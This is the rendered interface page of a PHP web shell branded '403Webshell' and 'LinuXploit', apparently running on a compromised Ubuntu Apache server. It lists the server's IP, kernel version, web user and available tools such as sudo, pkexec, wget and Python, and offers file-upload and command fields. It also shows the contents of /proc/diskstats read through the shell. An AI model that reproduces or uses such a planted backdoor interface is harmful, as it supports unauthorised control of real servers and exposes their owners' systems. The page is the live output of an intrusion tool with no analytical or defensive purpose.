403Webshell
Server IP : 103.88.176.108  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   7       0 loop0 91567 0 190912 24442 0 0 0 0 0 21044 5220 0 0 0 0
   7       1 loop1 98641 0 201650 43190 0 0 0 0 0 9804 14440 0 0 0 0
   7       2 loop2 105094 0 217942 21603 0 0 0 0 0 19824 0 0 0 0 0
   7       3 loop3 475511 0 959574 70467 0 0 0 0 0 51568 4572 0 0 0 0
   7       4 loop4 48719 0 107091 14046 0 0 0 0 0 12408 276 0 0 0 0
   7       5 loop5 382074 0 773329 119757 0 0 0 0 0 40188 5176 0 0 0 0
   7       6 loop6 60967 0 127134 7896 0 0 0 0 0 7272 0 0 0 0 0
   7       7 loop7 137228 0 281004 34902 0 0 0 0 0 26180 5244 0 0 0 0
  11       0 sr0 4094 0 364168 1156 0 0 0 0 0 1276 84 0 0 0 0
 252       0 vda 3180584 239968 211526457 2591068 172926990 180657799 3466132624 125635575 0 131192748 7399536 0 0 0 0
 252       1 vda1 279 0 2218 63 0 0 0 0 0 200 0 0 0 0 0
 252       2 vda2 3179977 239968 211508648 2590549 149392387 180657791 3466132544 123736236 0 130816544 7398608 0 0 0 0
   7       8 loop8 170218 0 345642 34740 0 0 0 0 0 19156 6792 0 0 0 0
   7       9 loop9 222 0 2454 69 0 0 0 0 0 204 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit